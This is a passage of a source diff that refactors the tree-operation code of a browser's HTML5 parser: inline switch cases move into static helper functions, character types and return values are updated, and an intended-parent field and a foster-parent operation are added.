- nsNodeUtils::ContentAppended(parent, parent->GetChildAt(childCount),
- childCount);
- }
- return rv;
+ nsIContent* parent = *(mTwo.node);
+ return AppendChildrenToNewParent(node, parent, aBuilder);
}
case eTreeOpFosterParent: {
nsIContent* node = *(mOne.node);
nsIContent* parent = *(mTwo.node);
nsIContent* table = *(mThree.node);
- nsIContent* foster = table->GetParent();
-
- if (foster && foster->IsElement()) {
-
- nsHtml5OtherDocUpdate update(foster->OwnerDoc(),
- aBuilder->GetDocument());
-
- uint32_t pos = foster->IndexOf(table);
- rv = foster->InsertChildAt(node, pos, false);
- NS_ENSURE_SUCCESS(rv, rv);
- nsNodeUtils::ContentInserted(foster, node, pos);
- return rv;
- }
-
- return Append(node, parent);
+ return FosterParent(node, parent, table, aBuilder);
}
case eTreeOpAppendToDocument: {
nsIContent* node = *(mOne.node);
return AppendToDocument(node, aBuilder);
}
case eTreeOpAddAttributes: {
- dom::Element* node = (*(mOne.node))->AsElement();
+ nsIContent* node = *(mOne.node);
nsHtml5HtmlAttributes* attributes = mTwo.attributes;
-
- nsHtml5OtherDocUpdate update(node->OwnerDoc(),
- aBuilder->GetDocument());
-
- int32_t len = attributes->getLength();
- for (int32_t i = len; i > 0;) {
- --i;
- // prefix doesn't need regetting. it is always null or a static atom
- // local name is never null
- nsCOMPtr<nsIAtom> localName =
- Reget(attributes->getLocalNameNoBoundsCheck(i));
- int32_t nsuri = attributes->getURINoBoundsCheck(i);
- if (!node->HasAttr(nsuri, localName)) {
- // prefix doesn't need regetting. it is always null or a static atom
- // local name is never null
- node->SetAttr(nsuri,
- localName,
- attributes->getPrefixNoBoundsCheck(i),
- *(attributes->getValueNoBoundsCheck(i)),
- true);
- // XXX what to do with nsresult?
- }
- }
-
- return rv;
+ return AddAttributes(node, attributes, aBuilder);
}
case eTreeOpCreateElementNetwork:
case eTreeOpCreateElementNotNetwork: {
@@ -309,212 +677,57 @@ nsHtml5TreeOperation::Perform(nsHtml5TreeOpExecutor* aBuilder,
int32_t ns = mFour.integer;
nsCOMPtr<nsIAtom> name = Reget(mTwo.atom);
nsHtml5HtmlAttributes* attributes = mThree.attributes;
-
- bool isKeygen = (name == nsHtml5Atoms::keygen && ns == kNameSpaceID_XHTML);
- if (MOZ_UNLIKELY(isKeygen)) {
- name = nsHtml5Atoms::select;
- }
-
- nsCOMPtr<nsIContent> newContent;
- nsCOMPtr<nsINodeInfo> nodeInfo = aBuilder->GetNodeInfoManager()->
- GetNodeInfo(name, nullptr, ns, nsIDOMNode::ELEMENT_NODE);
- NS_ASSERTION(nodeInfo, "Got null nodeinfo.");
- NS_NewElement(getter_AddRefs(newContent),
- nodeInfo.forget(),
- (mOpCode == eTreeOpCreateElementNetwork ?
- dom::FROM_PARSER_NETWORK
- : (aBuilder->BelongsToStringParser() ?
- dom::FROM_PARSER_FRAGMENT :
- dom::FROM_PARSER_DOCUMENT_WRITE)));
- NS_ASSERTION(newContent, "Element creation created null pointer.");
-
- aBuilder->HoldElement(*target = newContent);
-
- if (MOZ_UNLIKELY(name == nsHtml5Atoms::style || name == nsHtml5Atoms::link)) {
- nsCOMPtr<nsIStyleSheetLinkingElement> ssle(do_QueryInterface(newContent));
- if (ssle) {
- ssle->InitStyleLinkElement(false);
- ssle->SetEnableUpdates(false);
- }
- } else if (MOZ_UNLIKELY(isKeygen)) {
- // Adapted from CNavDTD
- nsCOMPtr<nsIFormProcessor> theFormProcessor =
- do_GetService(kFormProcessorCID, &rv);
- NS_ENSURE_SUCCESS(rv, rv);
-
- nsTArray<nsString> theContent;
- nsAutoString theAttribute;
-
- (void) theFormProcessor->ProvideContent(NS_LITERAL_STRING("select"),
- theContent,
- theAttribute);
-
- newContent->SetAttr(kNameSpaceID_None,
- nsGkAtoms::moztype,
- nullptr,
- theAttribute,
- false);
-
- nsCOMPtr<nsINodeInfo> optionNodeInfo =
- aBuilder->GetNodeInfoManager()->GetNodeInfo(nsHtml5Atoms::option,
- nullptr,
- kNameSpaceID_XHTML,
- nsIDOMNode::ELEMENT_NODE);
-
- for (uint32_t i = 0; i < theContent.Length(); ++i) {
- nsCOMPtr<nsIContent> optionElt;
- nsCOMPtr<nsINodeInfo> ni = optionNodeInfo;
- NS_NewElement(getter_AddRefs(optionElt),
- ni.forget(),
- (mOpCode == eTreeOpCreateElementNetwork ?
- dom::FROM_PARSER_NETWORK
- : (aBuilder->BelongsToStringParser() ?
- dom::FROM_PARSER_FRAGMENT :
- dom::FROM_PARSER_DOCUMENT_WRITE)));
- nsRefPtr<nsTextNode> optionText =
- new nsTextNode(aBuilder->GetNodeInfoManager());
- (void) optionText->SetText(theContent[i], false);
- optionElt->AppendChildTo(optionText, false);
- newContent->AppendChildTo(optionElt, false);
- newContent->DoneAddingChildren(false);
- }
- }
-
- if (!attributes) {
- return rv;
- }
-
- int32_t len = attributes->getLength();
- for (int32_t i = len; i > 0;) {
- --i;
- // prefix doesn't need regetting. it is always null or a static atom
- // local name is never null
- nsCOMPtr<nsIAtom> localName =
- Reget(attributes->getLocalNameNoBoundsCheck(i));
- if (ns == kNameSpaceID_XHTML &&
- nsHtml5Atoms::a == name &&
- nsHtml5Atoms::name == localName) {
- // This is an HTML5-incompliant Goannaism.
- // Remove when fixing bug 582361
- NS_ConvertUTF16toUTF8 cname(*(attributes->getValueNoBoundsCheck(i)));
- NS_ConvertUTF8toUTF16 uv(nsUnescape(cname.BeginWriting()));
- newContent->SetAttr(attributes->getURINoBoundsCheck(i),
- localName,
- attributes->getPrefixNoBoundsCheck(i),
- uv,
- false);
- } else {
- newContent->SetAttr(attributes->getURINoBoundsCheck(i),
- localName,
- attributes->getPrefixNoBoundsCheck(i),
- *(attributes->getValueNoBoundsCheck(i)),
- false);
- }
- }
-
- return rv;
+ nsIContent* intendedParent = mFive.node ? *(mFive.node) : nullptr;
+
+ // intendedParent == nullptr is a special case where the
+ // intended parent is the document.
+ nsNodeInfoManager* nodeInfoManager = intendedParent ?
+ intendedParent->OwnerDoc()->NodeInfoManager() :
+ aBuilder->GetNodeInfoManager();
+
+ *target = CreateElement(ns,
+ name,
+ attributes,
+ mOpCode == eTreeOpCreateElementNetwork ?
+ dom::FROM_PARSER_NETWORK :
+ dom::FROM_PARSER_DOCUMENT_WRITE,
+ nodeInfoManager,
+ aBuilder);
+ return NS_OK;
}
case eTreeOpSetFormElement: {
nsIContent* node = *(mOne.node);
nsIContent* parent = *(mTwo.node);
- nsCOMPtr<nsIFormControl> formControl(do_QueryInterface(node));
- nsCOMPtr<nsIDOMHTMLImageElement> domImageElement = do_QueryInterface(node);
- // NS_ASSERTION(formControl, "Form-associated element did not implement nsIFormControl.");
- // TODO: uncomment the above line when <keygen> (bug 101019) is supported by Goanna
- nsCOMPtr<nsIDOMHTMLFormElement> formElement(do_QueryInterface(parent));
- NS_ASSERTION(formElement, "The form element doesn't implement nsIDOMHTMLFormElement.");
- // avoid crashing on <keygen>
- if (formControl &&
- !node->HasAttr(kNameSpaceID_None, nsGkAtoms::form)) {
- formControl->SetForm(formElement);
- } else if (domImageElement) {
- nsRefPtr<dom::HTMLImageElement> imageElement =
- static_cast<dom::HTMLImageElement*>(domImageElement.get());
- MOZ_ASSERT(imageElement);
- imageElement->SetForm(formElement);
- }
-
- return rv;
+ SetFormElement(node, parent);
+ return NS_OK;
}
case eTreeOpAppendText: {
nsIContent* parent = *mOne.node;
- PRUnichar* buffer = mTwo.unicharPtr;
+ char16_t* buffer = mTwo.unicharPtr;
uint32_t length = mFour.integer;
return AppendText(buffer, length, parent, aBuilder);
}
case eTreeOpAppendIsindexPrompt: {
nsIContent* parent = *mOne.node;
- nsXPIDLString prompt;
- nsresult rv =
- nsContentUtils::GetLocalizedString(nsContentUtils::eFORMS_PROPERTIES,
- "IsIndexPromptWithSpace", prompt);
- uint32_t len = prompt.Length();
- if (NS_FAILED(rv)) {
- return rv;
- }
- if (!len) {
- // Don't bother appending a zero-length text node.
- return NS_OK;
- }
- return AppendText(prompt.BeginReading(), len, parent, aBuilder);
+ return AppendIsindexPrompt(parent, aBuilder);
}
case eTreeOpFosterParentText: {
nsIContent* stackParent = *mOne.node;
- PRUnichar* buffer = mTwo.unicharPtr;
+ char16_t* buffer = mTwo.unicharPtr;
uint32_t length = mFour.integer;
nsIContent* table = *mThree.node;
-
- nsIContent* foster = table->GetParent();
-
- if (foster && foster->IsElement()) {
- nsHtml5OtherDocUpdate update(foster->OwnerDoc(),
- aBuilder->GetDocument());
-
- uint32_t pos = foster->IndexOf(table);
-
- nsIContent* previousSibling = table->GetPreviousSibling();
- if (previousSibling && previousSibling->IsNodeOfType(nsINode::eTEXT)) {
- return AppendTextToTextNode(buffer,
- length,
- previousSibling);
- }
-
- nsRefPtr<nsTextNode> text =
- new nsTextNode(aBuilder->GetNodeInfoManager());
- NS_ASSERTION(text, "Infallible malloc failed?");
- rv = text->SetText(buffer, length, true);
- NS_ENSURE_SUCCESS(rv, rv);
-
- nsCOMPtr<nsIContent> fosterParent = foster;
- return fosterParent->InsertChildAt(text, pos, true);
- }
-
- return AppendText(buffer, length, stackParent, aBuilder);
+ return FosterParentText(stackParent, buffer, length, table, aBuilder);
}
case eTreeOpAppendComment: {
nsIContent* parent = *mOne.node;
- PRUnichar* buffer = mTwo.unicharPtr;
+ char16_t* buffer = mTwo.unicharPtr;
int32_t length = mFour.integer;
-
- nsRefPtr<dom::Comment> comment =
- new dom::Comment(aBuilder->GetNodeInfoManager());
- NS_ASSERTION(comment, "Infallible malloc failed?");
- rv = comment->SetText(buffer, length, false);
- NS_ENSURE_SUCCESS(rv, rv);
-
- return Append(comment, parent);
+ return AppendComment(parent, buffer, length, aBuilder);
}
case eTreeOpAppendCommentToDocument: {
- PRUnichar* buffer = mTwo.unicharPtr;
+ char16_t* buffer = mTwo.unicharPtr;
int32_t length = mFour.integer;
-
- nsRefPtr<dom::Comment> comment =
- new dom::Comment(aBuilder->GetNodeInfoManager());
- NS_ASSERTION(comment, "Infallible malloc failed?");
- rv = comment->SetText(buffer, length, false);
- NS_ENSURE_SUCCESS(rv, rv);
-
- return AppendToDocument(comment, aBuilder);
+ return AppendCommentToDocument(buffer, length, aBuilder);
}
case eTreeOpAppendDoctypeToDocument: {
nsCOMPtr<nsIAtom> name = Reget(mOne.atom);
@@ -522,28 +735,19 @@ nsHtml5TreeOperation::Perform(nsHtml5TreeOpExecutor* aBuilder,
nsString publicId;
nsString systemId;
pair->Get(publicId, systemId);
-
- // Adapted from nsXMLContentSink
- // Create a new doctype node
- nsCOMPtr<nsIDOMDocumentType> docType;
- nsAutoString voidString;
- voidString.SetIsVoid(true);
- NS_NewDOMDocumentType(getter_AddRefs(docType),
- aBuilder->GetNodeInfoManager(),
- name,
- publicId,
- systemId,
- voidString);
- NS_ASSERTION(docType, "Doctype creation failed.");
- nsCOMPtr<nsIContent> asContent = do_QueryInterface(docType);
- return AppendToDocument(asContent, aBuilder);
+ return AppendDoctypeToDocument(name, publicId, systemId, aBuilder);
}
case eTreeOpGetDocumentFragmentForTemplate: {
- dom::HTMLTemplateElement* tempElem =
- static_cast<dom::HTMLTemplateElement*>(*mOne.node);
- nsRefPtr<dom::DocumentFragment> frag = tempElem->Content();
- *mTwo.node = frag.get();
- return rv;
+ nsIContent* node = *(mOne.node);
+ *mTwo.node = GetDocumentFragmentForTemplate(node);
+ return NS_OK;
+ }
+ case eTreeOpGetFosterParent: {
+ nsIContent* table = *(mOne.node);
+ nsIContent* stackParent = *(mTwo.node);
+ nsIContent* fosterParent = GetFosterParent(table, stackParent);
+ *mThree.node = fosterParent;
+ return NS_OK;
}
case eTreeOpMarkAsBroken: {
return mOne.result;
@@ -555,87 +759,80 @@ nsHtml5TreeOperation::Perform(nsHtml5TreeOpExecutor* aBuilder,
aBuilder->InitializeDocWriteParserState(snapshot, mFour.integer);
}
*aScriptElement = node;
- return rv;
+ return NS_OK;
}
case eTreeOpRunScriptAsyncDefer: {
nsIContent* node = *(mOne.node);
aBuilder->RunScript(node);
- return rv;
+ return NS_OK;
}
case eTreeOpPreventScriptExecution: {
nsIContent* node = *(mOne.node);
- nsCOMPtr<nsIScriptElement> sele = do_QueryInterface(node);
- MOZ_ASSERT(sele);
- sele->PreventExecution();
- return rv;
+ PreventScriptExecution(node);
+ return NS_OK;
}
case eTreeOpDoneAddingChildren: {
nsIContent* node = *(mOne.node);
node->DoneAddingChildren(node->HasParserNotified());
- return rv;
+ return NS_OK;
}
case eTreeOpDoneCreatingElement: {
nsIContent* node = *(mOne.node);
- node->DoneCreatingElement();
- return rv;
+ DoneCreatingElement(node);
+ return NS_OK;
}
case eTreeOpSetDocumentCharset: {
char* str = mOne.charPtr;
int32_t charsetSource = mFour.integer;
nsDependentCString dependentString(str);
aBuilder->SetDocumentCharsetAndSource(dependentString, charsetSource);
- return rv;
+ return NS_OK;
}
case eTreeOpNeedsCharsetSwitchTo: {
char* str = mOne.charPtr;
int32_t charsetSource = mFour.integer;
int32_t lineNumber = mTwo.integer;
aBuilder->NeedsCharsetSwitchTo(str, charsetSource, (uint32_t)lineNumber);
- return rv;
+ return NS_OK;
}
case eTreeOpUpdateStyleSheet: {
nsIContent* node = *(mOne.node);
aBuilder->UpdateStyleSheet(node);
- return rv;
+ return NS_OK;
}
case eTreeOpProcessMeta: {
nsIContent* node = *(mOne.node);
- rv = aBuilder->ProcessMETATag(node);
- return rv;
+ return aBuilder->ProcessMETATag(node);
}
case eTreeOpProcessOfflineManifest: {
- PRUnichar* str = mOne.unicharPtr;
+ char16_t* str = mOne.unicharPtr;
nsDependentString dependentString(str);
aBuilder->ProcessOfflineManifest(dependentString);
- return rv;
+ return NS_OK;
}
case eTreeOpMarkMalformedIfScript: {
nsIContent* node = *(mOne.node);
- nsCOMPtr<nsIScriptElement> sele = do_QueryInterface(node);
- if (sele) {
- // Make sure to serialize this script correctly, for nice round tripping.
- sele->SetIsMalformed();
- }
- return rv;
+ MarkMalformedIfScript(node);
+ return NS_OK;
}
case eTreeOpStreamEnded: {
aBuilder->DidBuildModel(false); // this causes a notifications flush anyway
- return rv;
+ return NS_OK;
}
case eTreeOpStartLayout: {
aBuilder->StartLayout(); // this causes a notification flush anyway
- return rv;
+ return NS_OK;
}
case eTreeOpDocumentMode: {
aBuilder->SetDocumentMode(mOne.mode);
- return rv;
+ return NS_OK;
}
case eTreeOpSetStyleLineNumber: {
nsIContent* node = *(mOne.node);
nsCOMPtr<nsIStyleSheetLinkingElement> ssle = do_QueryInterface(node);
NS_ASSERTION(ssle, "Node didn't QI to style.");
ssle->SetLineNumber(mFour.integer);
- return rv;
+ return NS_OK;
}
case eTreeOpSetScriptLineNumberAndFreeze: {
nsIContent* node = *(mOne.node);
@@ -643,26 +840,23 @@ nsHtml5TreeOperation::Perform(nsHtml5TreeOpExecutor* aBuilder,
NS_ASSERTION(sele, "Node didn't QI to script.");
sele->SetScriptLineNumber(mFour.integer);
sele->FreezeUriAsyncDefer();
- return rv;
+ return NS_OK;
}
case eTreeOpSvgLoad: {
nsIContent* node = *(mOne.node);
- nsCOMPtr<nsIRunnable> event = new nsHtml5SVGLoadDispatcher(node);
- if (NS_FAILED(NS_DispatchToMainThread(event))) {
- NS_WARNING("failed to dispatch svg load dispatcher");
- }
- return rv;
+ SvgLoad(node);
+ return NS_OK;
}
case eTreeOpMaybeComplainAboutCharset: {
char* msgId = mOne.charPtr;
bool error = mTwo.integer;
int32_t lineNumber = mThree.integer;
aBuilder->MaybeComplainAboutCharset(msgId, error, (uint32_t)lineNumber);
- return rv;
+ return NS_OK;
}
case eTreeOpAddClass: {
nsIContent* node = *(mOne.node);
- PRUnichar* str = mTwo.unicharPtr;
+ char16_t* str = mTwo.unicharPtr;
nsDependentString depStr(str);
// See viewsource.css for the possible classes
nsAutoString klass;
@@ -674,7 +868,7 @@ nsHtml5TreeOperation::Perform(nsHtml5TreeOpExecutor* aBuilder,
} else {
node->SetAttr(kNameSpaceID_None, nsGkAtoms::_class, depStr, true);
}
- return rv;
+ return NS_OK;
}
case eTreeOpAddLineNumberId: {
nsIContent* node = *(mOne.node);
@@ -682,11 +876,11 @@ nsHtml5TreeOperation::Perform(nsHtml5TreeOpExecutor* aBuilder,
nsAutoString val(NS_LITERAL_STRING("line"));
val.AppendInt(lineNumber);
node->SetAttr(kNameSpaceID_None, nsGkAtoms::id, val, true);
- return rv;
+ return NS_OK;
}
case eTreeOpAddViewSourceHref: {
nsIContent* node = *mOne.node;
- PRUnichar* buffer = mTwo.unicharPtr;
+ char16_t* buffer = mTwo.unicharPtr;
int32_t length = mFour.integer;
nsDependentString relative(buffer, length);
@@ -695,11 +889,11 @@ nsHtml5TreeOperation::Perform(nsHtml5TreeOpExecutor* aBuilder,
const nsCString& charset = doc->GetDocumentCharacterSet();
nsCOMPtr<nsIURI> uri;
- rv = NS_NewURI(getter_AddRefs(uri),
- relative,
- charset.get(),
- aBuilder->GetViewSourceBaseURI());
- NS_ENSURE_SUCCESS(rv, rv);
+ nsresult rv = NS_NewURI(getter_AddRefs(uri),
+ relative,
+ charset.get(),
+ aBuilder->GetViewSourceBaseURI());
+ NS_ENSURE_SUCCESS(rv, NS_OK);
// Reuse the fix for bug 467852
// URLs that execute script (e.g. "javascript:" URLs) should just be
@@ -748,7 +942,7 @@ nsHtml5TreeOperation::Perform(nsHtml5TreeOpExecutor* aBuilder,
nsAutoString klass;
node->GetAttr(kNameSpaceID_None, nsGkAtoms::_class, klass);
if (!klass.IsEmpty()) {
- klass.Append(NS_LITERAL_STRING(" error"));
+ klass.AppendLiteral(" error");
node->SetAttr(kNameSpaceID_None, nsGkAtoms::_class, klass, true);
} else {
node->SetAttr(kNameSpaceID_None,
@@ -757,22 +951,23 @@ nsHtml5TreeOperation::Perform(nsHtml5TreeOpExecutor* aBuilder,
true);
}
+ nsresult rv;
nsXPIDLString message;
if (otherAtom) {
- const PRUnichar* params[] = { atom->GetUTF16String(),
+ const char16_t* params[] = { atom->GetUTF16String(),
otherAtom->GetUTF16String() };
rv = nsContentUtils::FormatLocalizedString(
nsContentUtils::eHTMLPARSER_PROPERTIES, msgId, params, message);
- NS_ENSURE_SUCCESS(rv, rv);
+ NS_ENSURE_SUCCESS(rv, NS_OK);
} else if (atom) {
- const PRUnichar* params[] = { atom->GetUTF16String() };
+ const char16_t* params[] = { atom->GetUTF16String() };
rv = nsContentUtils::FormatLocalizedString(
nsContentUtils::eHTMLPARSER_PROPERTIES, msgId, params, message);
- NS_ENSURE_SUCCESS(rv, rv);
+ NS_ENSURE_SUCCESS(rv, NS_OK);
} else {
rv = nsContentUtils::GetLocalizedString(
nsContentUtils::eHTMLPARSER_PROPERTIES, msgId, message);
- NS_ENSURE_SUCCESS(rv, rv);
+ NS_ENSURE_SUCCESS(rv, NS_OK);
}
nsAutoString title;
@@ -787,16 +982,15 @@ nsHtml5TreeOperation::Perform(nsHtml5TreeOpExecutor* aBuilder,
return rv;
}
case eTreeOpAddViewSourceBase: {
- PRUnichar* buffer = mTwo.unicharPtr;
+ char16_t* buffer = mTwo.unicharPtr;
int32_t length = mFour.integer;
nsDependentString baseUrl(buffer, length);
aBuilder->AddBase(baseUrl);
return NS_OK;
}
default: {
- NS_NOTREACHED("Bogus tree op");
+ MOZ_CRASH("Bogus tree op");
}
}
- return rv; // keep compiler happy
+ return NS_OK; // keep compiler happy
}
-
diff --git a/parser/html/nsHtml5TreeOperation.h b/parser/html/nsHtml5TreeOperation.h
index 5e1be6253..33b36fc22 100644
--- a/parser/html/nsHtml5TreeOperation.h
+++ b/parser/html/nsHtml5TreeOperation.h
@@ -2,21 +2,21 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#ifndef nsHtml5TreeOperation_h__
-#define nsHtml5TreeOperation_h__
+#ifndef nsHtml5TreeOperation_h
+#define nsHtml5TreeOperation_h
#include "nsHtml5DocumentMode.h"
#include "nsHtml5HtmlAttributes.h"
#include "nsXPCOMStrings.h"
+#include "mozilla/dom/FromParser.h"
class nsIContent;
class nsHtml5TreeOpExecutor;
class nsHtml5StateSnapshot;
+class nsHtml5DocumentBuilder;
enum eHtml5TreeOperation {
-#ifdef DEBUG
eTreeOpUninitialized,
-#endif
// main HTML5 ops
eTreeOpAppend,
eTreeOpDetach,
@@ -35,6 +35,7 @@ enum eHtml5TreeOperation {
eTreeOpAppendCommentToDocument,
eTreeOpAppendDoctypeToDocument,
eTreeOpGetDocumentFragmentForTemplate,
+ eTreeOpGetFosterParent,
// Goanna-specific on-pop ops
eTreeOpMarkAsBroken,
eTreeOpRunScript,
@@ -71,15 +72,18 @@ class nsHtml5TreeOperationStringPair {
nsHtml5TreeOperationStringPair(const nsAString& aPublicId,
const nsAString& aSystemId)
: mPublicId(aPublicId)
- , mSystemId(aSystemId) {
+ , mSystemId(aSystemId)
+ {
MOZ_COUNT_CTOR(nsHtml5TreeOperationStringPair);
}
- ~nsHtml5TreeOperationStringPair() {
+ ~nsHtml5TreeOperationStringPair()
+ {
MOZ_COUNT_DTOR(nsHtml5TreeOperationStringPair);
}
- inline void Get(nsAString& aPublicId, nsAString& aSystemId) {
+ inline void Get(nsAString& aPublicId, nsAString& aSystemId)
+ {
aPublicId.Assign(mPublicId);
aSystemId.Assign(mSystemId);
}
@@ -88,39 +92,143 @@ class nsHtml5TreeOperationStringPair {
class nsHtml5TreeOperation {
public:
+ /**
+ * Atom is used inside the parser core are either static atoms that are
+ * the same as Goanna-wide static atoms or they are dynamic atoms scoped by
+ * both thread and parser to a particular nsHtml5AtomTable. In order to
+ * such scoped atoms coming into contact with the rest of Goanna, atoms
+ * that are about to exit the parser must go through this method which
+ * reobtains dynamic atoms from the Goanna-global atom table.
+ *
+ * @param aAtom a potentially parser-scoped atom
+ * @return an nsIAtom that's pointer comparable on the main thread with
+ * other not-parser atoms.
+ */
+ static inline already_AddRefed<nsIAtom> Reget(nsIAtom* aAtom)
+ {
+ if (!aAtom || aAtom->IsStaticAtom()) {
+ return dont_AddRef(aAtom);
+ }
+ nsAutoString str;
+ aAtom->ToString(str);
+ return do_GetAtom(str);
+ }
+
+ static nsresult AppendTextToTextNode(const char16_t* aBuffer,
+ uint32_t aLength,
+ nsIContent* aTextNode,
+ nsHtml5DocumentBuilder* aBuilder);
+
+ static nsresult AppendText(const char16_t* aBuffer,
+ uint32_t aLength,
+ nsIContent* aParent,
+ nsHtml5DocumentBuilder* aBuilder);
+
+ static nsresult Append(nsIContent* aNode,
+ nsIContent* aParent,
+ nsHtml5DocumentBuilder* aBuilder);
+
+ static nsresult AppendToDocument(nsIContent* aNode,
+ nsHtml5DocumentBuilder* aBuilder);
+
+ static void Detach(nsIContent* aNode, nsHtml5DocumentBuilder* aBuilder);
+
+ static nsresult AppendChildrenToNewParent(nsIContent* aNode,
+ nsIContent* aParent,
+ nsHtml5DocumentBuilder* aBuilder);
+
+ static nsresult FosterParent(nsIContent* aNode,
+ nsIContent* aParent,
+ nsIContent* aTable,
+ nsHtml5DocumentBuilder* aBuilder);
+
+ static nsresult AddAttributes(nsIContent* aNode,
+ nsHtml5HtmlAttributes* aAttributes,
+ nsHtml5DocumentBuilder* aBuilder);
+
+ static nsIContent* CreateElement(int32_t aNs,
+ nsIAtom* aName,
+ nsHtml5HtmlAttributes* aAttributes,
+ mozilla::dom::FromParser aFromParser,
+ nsNodeInfoManager* aNodeInfoManager,
+ nsHtml5DocumentBuilder* aBuilder);
+
+ static void SetFormElement(nsIContent* aNode, nsIContent* aParent);
+
+ static nsresult AppendIsindexPrompt(nsIContent* parent,
+ nsHtml5DocumentBuilder* aBuilder);
+
+ static nsresult FosterParentText(nsIContent* aStackParent,
+ char16_t* aBuffer,
+ uint32_t aLength,
+ nsIContent* aTable,
+ nsHtml5DocumentBuilder* aBuilder);
+
+ static nsresult AppendComment(nsIContent* aParent,
+ char16_t* aBuffer,
+ int32_t aLength,
+ nsHtml5DocumentBuilder* aBuilder);
+
+ static nsresult AppendCommentToDocument(char16_t* aBuffer,
+ int32_t aLength,
+ nsHtml5DocumentBuilder* aBuilder);
+
+ static nsresult AppendDoctypeToDocument(nsIAtom* aName,
+ const nsAString& aPublicId,
+ const nsAString& aSystemId,
+ nsHtml5DocumentBuilder* aBuilder);
+
+ static nsIContent* GetDocumentFragmentForTemplate(nsIContent* aNode);
+
+ static nsIContent* GetFosterParent(nsIContent* aTable, nsIContent* aStackParent);
+
+ static void PreventScriptExecution(nsIContent* aNode);
+
+ static void DoneAddingChildren(nsIContent* aNode);
+
+ static void DoneCreatingElement(nsIContent* aNode);
+
+ static void SvgLoad(nsIContent* aNode);
+
+ static void MarkMalformedIfScript(nsIContent* aNode);
+
nsHtml5TreeOperation();
~nsHtml5TreeOperation();
- inline void Init(eHtml5TreeOperation aOpCode) {
+ inline void Init(eHtml5TreeOperation aOpCode)
+ {
NS_PRECONDITION(mOpCode == eTreeOpUninitialized,
"Op code must be uninitialized when initializing.");
mOpCode = aOpCode;
}
- inline void Init(eHtml5TreeOperation aOpCode, nsIContent** aNode) {
+ inline void Init(eHtml5TreeOperation aOpCode, nsIContentHandle* aNode)
+ {
NS_PRECONDITION(mOpCode == eTreeOpUninitialized,
"Op code must be uninitialized when initializing.");
NS_PRECONDITION(aNode, "Initialized tree op with null node.");
mOpCode = aOpCode;
- mOne.node = aNode;
+ mOne.node = static_cast<nsIContent**>(aNode);
}
inline void Init(eHtml5TreeOperation aOpCode,
- nsIContent** aNode,
- nsIContent** aParent) {
+ nsIContentHandle* aNode,
+ nsIContentHandle* aParent)
+ {
NS_PRECONDITION(mOpCode == eTreeOpUninitialized,
"Op code must be uninitialized when initializing.");
NS_PRECONDITION(aNode, "Initialized tree op with null node.");
NS_PRECONDITION(aParent, "Initialized tree op with null parent.");
mOpCode = aOpCode;
- mOne.node = aNode;
- mTwo.node = aParent;
+ mOne.node = static_cast<nsIContent**>(aNode);
+ mTwo.node = static_cast<nsIContent**>(aParent);
}
inline void Init(eHtml5TreeOperation aOpCode,
const nsACString& aString,
- int32_t aInt32) {
+ int32_t aInt32)
+ {
NS_PRECONDITION(mOpCode == eTreeOpUninitialized,
"Op code must be uninitialized when initializing.");
@@ -140,47 +248,53 @@ class nsHtml5TreeOperation {
inline void Init(eHtml5TreeOperation aOpCode,
const nsACString& aString,
int32_t aInt32,
- int32_t aLineNumber) {
+ int32_t aLineNumber)
+ {
Init(aOpCode, aString, aInt32);
mTwo.integer = aLineNumber;
}
inline void Init(eHtml5TreeOperation aOpCode,
- nsIContent** aNode,
- nsIContent** aParent,
- nsIContent** aTable) {
+ nsIContentHandle* aNode,
+ nsIContentHandle* aParent,
+ nsIContentHandle* aTable)
+ {
NS_PRECONDITION(mOpCode == eTreeOpUninitialized,
"Op code must be uninitialized when initializing.");
NS_PRECONDITION(aNode, "Initialized tree op with null node.");
NS_PRECONDITION(aParent, "Initialized tree op with null parent.");
NS_PRECONDITION(aTable, "Initialized tree op with null table.");
mOpCode = aOpCode;
- mOne.node = aNode;
- mTwo.node = aParent;
- mThree.node = aTable;
+ mOne.node = static_cast<nsIContent**>(aNode);
+ mTwo.node = static_cast<nsIContent**>(aParent);
+ mThree.node = static_cast<nsIContent**>(aTable);
}
- inline void Init(nsHtml5DocumentMode aMode) {
+ inline void Init(nsHtml5DocumentMode aMode)
+ {
NS_PRECONDITION(mOpCode == eTreeOpUninitialized,
"Op code must be uninitialized when initializing.");
mOpCode = eTreeOpDocumentMode;
mOne.mode = aMode;
}
- inline void InitScript(nsIContent** aNode) {
+ inline void InitScript(nsIContentHandle* aNode)
+ {
NS_PRECONDITION(mOpCode == eTreeOpUninitialized,
"Op code must be uninitialized when initializing.");
NS_PRECONDITION(aNode, "Initialized tree op with null node.");
mOpCode = eTreeOpRunScript;
- mOne.node = aNode;
+ mOne.node = static_cast<nsIContent**>(aNode);
mTwo.state = nullptr;
}
inline void Init(int32_t aNamespace,
nsIAtom* aName,
nsHtml5HtmlAttributes* aAttributes,
- nsIContent** aTarget,
- bool aFromNetwork) {
+ nsIContentHandle* aTarget,
+ nsIContentHandle* aIntendedParent,
+ bool aFromNetwork)
+ {
NS_PRECONDITION(mOpCode == eTreeOpUninitialized,
"Op code must be uninitialized when initializing.");
NS_PRECONDITION(aName, "Initialized tree op with null name.");
@@ -189,7 +303,8 @@ class nsHtml5TreeOperation {
eTreeOpCreateElementNetwork :
eTreeOpCreateElementNotNetwork;
mFour.integer = aNamespace;
- mOne.node = aTarget;
+ mFive.node = static_cast<nsIContent**>(aIntendedParent);
+ mOne.node = static_cast<nsIContent**>(aTarget);
mTwo.atom = aName;
if (aAttributes == nsHtml5HtmlAttributes::EMPTY_ATTRIBUTES) {
mThree.attributes = nullptr;
@@ -199,36 +314,39 @@ class nsHtml5TreeOperation {
}
inline void Init(eHtml5TreeOperation aOpCode,
- PRUnichar* aBuffer,
+ char16_t* aBuffer,
int32_t aLength,
- nsIContent** aStackParent,
- nsIContent** aTable) {
+ nsIContentHandle* aStackParent,
+ nsIContentHandle* aTable)
+ {
NS_PRECONDITION(mOpCode == eTreeOpUninitialized,
"Op code must be uninitialized when initializing.");
NS_PRECONDITION(aBuffer, "Initialized tree op with null buffer.");
mOpCode = aOpCode;
- mOne.node = aStackParent;
+ mOne.node = static_cast<nsIContent**>(aStackParent);
mTwo.unicharPtr = aBuffer;
- mThree.node = aTable;
+ mThree.node = static_cast<nsIContent**>(aTable);
mFour.integer = aLength;
}
inline void Init(eHtml5TreeOperation aOpCode,
- PRUnichar* aBuffer,
+ char16_t* aBuffer,
int32_t aLength,
- nsIContent** aParent) {
+ nsIContentHandle* aParent)
+ {
NS_PRECONDITION(mOpCode == eTreeOpUninitialized,
"Op code must be uninitialized when initializing.");
